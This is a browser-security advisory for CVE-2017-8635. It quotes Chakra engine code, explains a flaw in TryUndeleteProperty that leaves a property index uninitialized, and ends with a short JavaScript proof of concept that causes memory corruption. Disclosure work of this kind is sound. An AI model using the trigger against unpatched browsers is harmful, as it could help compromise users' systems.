Microsoft Edge Chakra TryUndeleteProperty Incorrect Usage

` Microsoft Edge: Chakra: Incorrect usage of TryUndeleteProperty   
  
CVE-2017-8635  
  
  
Chakra implemented the reuse of deleted properties of an unordered dictionary object with the following code.  
  
bool SimpleDictionaryUnorderedTypeHandler::TryReuseDeletedPropertyIndex(  
DynamicObject *const object,  
TPropertyIndex *const propertyIndex)  
{  
if(deletedPropertyIndex == PropertyIndexRanges<TPropertyIndex>::NoSlots)  
{  
return false;  
}  
  
*propertyIndex = deletedPropertyIndex;  
deletedPropertyIndex = static_cast<TPropertyIndex>(TaggedInt::ToInt32(object->GetSlot(deletedPropertyIndex)));  
return true;  
}  
  
bool SimpleDictionaryUnorderedTypeHandle::TryUndeleteProperty(  
DynamicObject *const object,  
const TPropertyIndex existingPropertyIndex,  
TPropertyIndex *const propertyIndex)  
{  
...  
  
if(!IsReusablePropertyIndex(existingPropertyIndex))  
{  
return false;  
}  
  
...  
  
const bool reused = TryReuseDeletedPropertyIndex(object, propertyIndex);  
Assert(reused);  
  
...  
return true;  
}  
  
  
BOOL SimpleDictionaryTypeHandlerBase<TPropertyIndex, TMapKey, IsNotExtensibleSupported>::SetPropertyFromDescriptor(DynamicObject* instance, PropertyId propertyId, TPropertyKey propertyKey, SimpleDictionaryPropertyDescriptor<TPropertyIndex>* descriptor, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)  
{  
...  
if (descriptor->Attributes & PropertyDeleted)  
{  
...  
if(isUnordered)  
{  
TPropertyIndex propertyIndex;  
if(AsUnordered()->TryUndeleteProperty(instance, descriptor->propertyIndex, &propertyIndex))  
{  
Assert(PropertyRecordStringHashComparer<TMapKey>::Equals(propertyMap->GetKeyAt(propertyIndex), propertyRecord));  
descriptor = propertyMap->GetReferenceAt(propertyIndex);  
}  
}  
  
if (IsNotExtensibleSupported)  
{  
bool isForce = (flags & PropertyOperation_Force) != 0;  
if (!isForce)  
{  
if (!this->VerifyIsExtensible(scriptContext, throwIfNotExtensible))  
{  
return FALSE; <<------ (a)  
}  
}  
}  
...  
descriptor->Attributes = PropertyDynamicTypeDefaults;  
...  
}  
...  
}  
  
"TryUndeleteProperty" is calling "TryReuseDeletedPropertyIndex" on the assumption that the return value of it is always true. But if the method exits at (a), "descriptor->Attributes" will remain with "PropertyDeleted" set, and therefore we can call "TryUndeleteProperty" again and again until "deletedPropertyIndex" becames "NoSlots" which makes "TryReuseDeletedPropertyIndex" return false.  
  
In the debug build, the PoC hits the assertion "Assert(reused);". In the release build, "propertyIndex" remains uninitialized, this will cause a memory corruption.  
  
PoC:  
const kNumProperties = 100;  
  
let o = {};  
for (let i = 0; i < kNumProperties; ++i)  
o['a' + i] = i;  
  
Object.preventExtensions(o); // IsNotExtensibleSupported && !this->VerifyIsExtensible  
  
for (let i = 0; i < kNumProperties; ++i)  
delete o['a' + i];  
  
for (let i = 0; i < 0x1000; ++i)  
o['a0'] = 1; // calling TryUndeleteProperty again again  
  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`